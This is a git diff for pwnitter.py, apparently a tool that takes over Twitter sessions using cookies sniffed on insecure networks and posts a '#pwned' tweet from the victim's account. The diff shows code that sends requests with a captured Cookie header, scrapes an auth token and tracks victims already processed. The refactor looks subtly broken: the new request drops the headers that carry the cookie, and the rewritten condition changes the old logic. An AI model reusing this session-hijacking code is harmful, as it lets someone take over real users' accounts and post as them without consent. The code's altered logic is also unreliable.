Cleaned up messy logic in pwn

[pwnitter] / pwnitter.py

diff --git a/pwnitter.py b/pwnitter.py
index 551a2f7..5a06ed2 100755 (executable)
--- a/pwnitter.py
+++ b/pwnitter.py
@@ -14,6 +14,7 @@ import time
 import gobject
 import select
 import subprocess
+import urllib2
 
 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
 
@@ -130,14 +131,12 @@ class Pwnitter(dbus.service.Object):
                         "Cookie": cookie,
                     }
                     
-                    conn = httplib.HTTPSConnection(host)
                     try:
-                        conn.request("GET", "/", None, headers)
+                        page = urllib2.urlopen("https://%s/" % host).read()
                     except socket.error, e:
                         log.error(e)
                     else:
-                        response = conn.getresponse()
-                        page = response.read()
+                        log.debug('Connected to host %s', host)
 
                         # Newtwitter and Oldtwitter have different formatting, so be lax
                         authToken = ''
@@ -161,8 +160,8 @@ class Pwnitter(dbus.service.Object):
 
 
                         # We don't want to repeatedly spam people
-                        # FIXME: What the fuck logic. Please clean up
-                        if not ((not name and host != 'mobile.twitter.com') or name in processed):
+                        # Also proceed if we didn't find a name but are on the mobile page
+                        if  not (name in processed)   or   ((not name) and host == 'mobile.twitter.com'):
                             headers = {
                                 "User-Agent": "Mozilla/5.0",
                                 "Accept": "application/json, text/javascript, */*",